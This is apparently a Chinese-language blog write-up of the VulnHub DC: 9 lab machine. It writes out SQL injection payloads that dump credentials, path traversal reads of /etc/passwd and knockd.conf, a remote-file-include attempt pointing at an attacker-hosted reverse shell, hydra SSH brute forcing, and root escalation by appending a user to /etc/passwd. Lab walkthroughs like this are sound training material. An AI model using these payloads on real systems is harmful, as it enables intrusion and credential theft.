vulnhub DC: 9

渗透思路:

nmap扫描----利用sql注入获得网站和系统的用户名密码----利用任意文件读取获得knock序列----hydra爆破系统用户和密码----/etc/passwd写入新用户提权

环境信息:

靶机:192.168.101.64

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.64

扫描到22(ssh)和80(http)端口,但是22端口是filtered状态,应该不能直接连接

2、利用sql注入得到网站admin用户密码

探索80端口,发现http://192.168.101.64/search.php可以进行查询操作。

简单进行功能探索之后输入

' or 1=1#

发现返回了所有员工信息,说明存在sql注入。

本来想用order by猜列数,但是发现无论order by多少,查询结果都是0 results(即便查询中包含正确的职员名字,比如Moe' order by 1#),无法用这种方法看出查询结果有几列。

只能一个一个试了 ,先观察上面的返回结果,可以推测查询结果可能至少包含5列。输入

Moe' union select 1,2,3,4,5#

返回结果如下图,可见查询结果并非5列

再试试6列

Moe' union select 1,2,3,4,5,6#

从返回结果可见,确实有6列,并且每一列都是回显的

接下来看看有哪些数据库

Moe' union select 1,2,3,4,5,group_concat(distinct table_schema) from information_schema.tables#

发现除了information_schema之外,还有两个数据库:Staff和users

下面通过union注入查询网站用户名和密码

#查询当前数据库(Staff)所有表
Moe' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()#
#查询Users表所有列名
Moe' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and  table_name='Users'#
#查询Users表Username列和Password列所有值
Moe' union select 1,2,3,4,group_concat(Username),group_concat(Password) from Users#

最终结果如下图所示,从Users表中查询到用户名admin,密码的MD5值为856f5de590ef37314e7c3bdf6f8a66dc

MD5免费在线解密破解_MD5在线加密-SOMD5输入856f5de590ef37314e7c3bdf6f8a66dc进行查询,得到密码明文transorbital1

以用户名admin,密码transorbital1登录http://192.168.101.64/manage.php

登录成功

3、利用sql注入获得一堆用户名和密码

之前是在Staff数据库中操作的,还有个users数据库也挺可疑。接下来就从这个数据库中提取出多对用户名和密码

#查询users数据库中的所有表名
Moe' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema='users'#
#查询users数据库UserDetails表中的所有列名
Moe' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema='users' and  table_name='UserDetails'#
#查询users数据库UserDetails表中username和password列的所有值
Moe' union select 1,2,3,4,group_concat(username),group_concat(password) from users.UserDetails#

最终查询结果如下图所示,用户名有:

marym,julied,fredf,barneyr,tomc,jerrym,wilmaf,bettyr,chandlerb,joeyt,rachelg,rossg,monicag,phoebeb,scoots,janitor,janitor2

密码有:3kfs86sfd,468sfdfsd2,4sfd87sfd1,RocksOff,TC&TheBoyz,B8m#48sd,Pebbles,BamBam01,UrAG0D!,Passw0rd,yN72#dsd,ILoveRachel,3248dsds7s,smellycats,YR3BVxxxw87,Ilovepeepee,Hawaii-Five-0

4、利用任意文件读取获得knock序列

sql注入漏洞处尝试了手工和sqlmap上传shell都没有成功,应该是不能直接通过sql注入得到shel了。

注意到admin登录成功后http://192.168.101.64/welcome.php的页面上有个奇怪的提示“File does not exist”

推测可能有一个url参数,值可以为某个文件。

先手工试试url参数名是否为file,如果不是的话,再用工具fuzz。

先试试http://192.168.101.64/welcome.php?file=/etc/passwd,没有返回/etc/passwd的内容;

再试试目录遍历(有几个../不重要,只要数量大于等于当前目录到根目录的层级就行):

http://192.168.101.64/welcome.php?file=../../../../etc/passwd

页面返回了/etc/passwd的内容

这里有一个小发现,浏览器中选中/etc/passwd的内容后,右键可以单独查看这部分的网页源代码。

查询bash,发现可以bash登录的用户和步骤3中利用sql注入获取的用户名是一样的

根据上述现象,当前页面可能有文件读取或者文件包含的操作,如果是文件包含,且支持包含远程文件,则可以直接getshell。试试看有没有这么幸运:

攻击机上起http服务

python2 -m SimpleHTTPServer 8888

浏览器访问如下链接,发现攻击机上并没有接收到请求,表明这里并不支持远程文件包含

http://192.168.101.64/welcome.php?file=http://192.168.101.34:8888/php-reverse.php

想起nmap扫描端口的时候22端口是被过滤的,考虑到目前并没有办法从网站直接getshell,运气好的话,靶机上可能使用了knockd来隐藏22端口,如果使用了knockd,其配置应该在/etc/knockd.conf中。

浏览器访问http://192.168.101.64/manage.php?file=../../../../etc/knockd.conf

确实有这个文件,并得到knock序列7469 8475 9842

攻击机上执行

knock 192.168.101.64 7469 8475 9842

然后再用nmap扫描一下靶机的22端口,看看开放了没有

sudo nmap -sV -sC -p 22 192.168.101.64

靶机tcp 22端口已经open了

5、hydra爆破系统用户

尝试用前几个用户进行ssh登录都失败了,失败原因看起来是密码不对

准备用hydra试试到底哪组用户名密码能登录成功,不过在此之前得先做用户名字典和密码字典。

用户名字典很方便,从/etc/passwd中取材,用echo命令结合cut命令,直接输出用户名列表到文件users.txt中

echo 'marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash                                      130 ⨯
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash' | cut -f 1 -d ':' > users.txt

密码字典就麻烦点了,最终还是写了段python代码,字符串s取自步骤3中得到的password列的值,文件保存为passwd.py

s="3kfs86sfd,468sfdfsd2,4sfd87sfd1,RocksOff,TC&TheBoyz,B8m#48sd,Pebbles,BamBam01,UrAG0D!,Passw0rd,yN72#dsd,ILoveRachel,3248dsds7s,smellycats,YR3BVxxxw87,Ilovepeepee,Hawaii-Five-0"
l=s.split(',')
for i in l:
    print i

执行passwd.py,并将执行结果保存到pass.txt中

然后开始用hydra爆破

hydra -L users.txt -P pass.txt ssh://192.168.101.64

爆破出三组用户名密码(爆破结果可能不稳定,可以多试几次)

login: chandlerb password: UrAG0D!

login: joeyt password: Passw0rd

login: janitor password: Ilovepeepee

用chandlerb和joeyt登录之后都没什么看头。

用janitor登录之后,发现家目录下有.secrets-for-putin文件夹,里面有个passwords-found-on-post-it-notes.txt文件,查看该文件内容,又发现几个新密码

cat ./.secrets-for-putin/passwords-found-on-post-it-notes.txt

将上述新密码保存在pass2.txt

再次用hydra爆破

hydra -L users.txt -P pass2.txt ssh://192.168.101.64

又得到一组新的用户名密码

login: fredf password: B4-Tru3-001

6、/etc/passwd写入新用户提权

用fredf登录,sudo -l发现该用户可以以root身份执行/opt/devstuff/dist/test/test

尝试执行一下,返回了提示

sudo /opt/devstuff/dist/test/test

根据提示查找test.py

find / -name "test.py" 2>/dev/null

查看/opt/devstuff/test.py的内容,发现它的作用是将第二个参数(文件名)的内容写入第三个参数(文件名)的结尾。既然如此,就可以在/etc/passwd中写入一个root权限的新用户,以此达到提权的目的。

在攻击机上执行如下命令,得到123的passwd格式的MD5 hash

openssl passwd -1 123

靶机上将新用户xiannv写入临时文件/tmp/pass中

echo 'xiannv:$1$q7H2s1CH$C6ObMWwsX8igsLFDPOMzF0:0:0:root:/root:/bin/bash' > /tmp/pass

sudo执行/opt/devstuff/dist/test/test,将/tmp/pass中的内容追加写入/etc/passwd的结尾

sudo /opt/devstuff/dist/test/test /tmp/pass /etc/passwd

查看/etc/passwd的内容,确认用户xiannv添加成功

通过su命令切换用户到xiannv,密码为123(xiannv不能ssh登录),发现xiannv为root用户

su xiannv

在/root/theflag.txt中发现flag

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值